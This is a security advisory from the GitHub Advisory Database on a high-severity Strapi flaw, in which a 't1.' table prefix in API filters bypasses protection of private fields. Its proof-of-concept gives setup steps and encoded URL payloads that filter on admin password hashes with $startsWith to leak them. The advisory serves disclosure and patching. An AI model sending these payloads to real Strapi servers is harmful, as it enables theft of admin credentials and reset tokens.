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githubGitHub Advisory DatabaseGHSA-9XG4-3QFM-9W8F
HistoryJul 25, 2023 - 5:17 p.m.

Leaking sensitive user information still possible by filtering on private with prefix fields

2023-07-2517:17:37
CWE-200
GitHub Advisory Database
github.com
15
sensitive information leakage
prefix field filtering
knex query
privacy protection
filtering attacks
software vulnerability

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

0.001 Low

EPSS

Percentile

40.7%

Summary

Still able to leak private fields if using the t(number) prefix

Details

Knex query allows you to change there default prefix
SqliteError: select distinct `t0`.* from `pages` as `t0` left join `admin_users` as `t1` on `t0`.`updated_by_id` = `t1`.`id` where (`t1`.`password` = 1)
so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected

PoC

1 Create a contentType
2 add to its options “populateCreatorFields”
3 create 1 entity in your new content type
4 in settings enable the find route in settings for the content type you created for public
5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24
And now the api returns noting if you were to do
/api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity

Impact

You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.

Affected configurations

Vulners
Node
strapistrapiRange4.10.7
OR
strapistrapiRange4.10.7

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

0.001 Low

EPSS

Percentile

40.7%

Related for GHSA-9XG4-3QFM-9W8F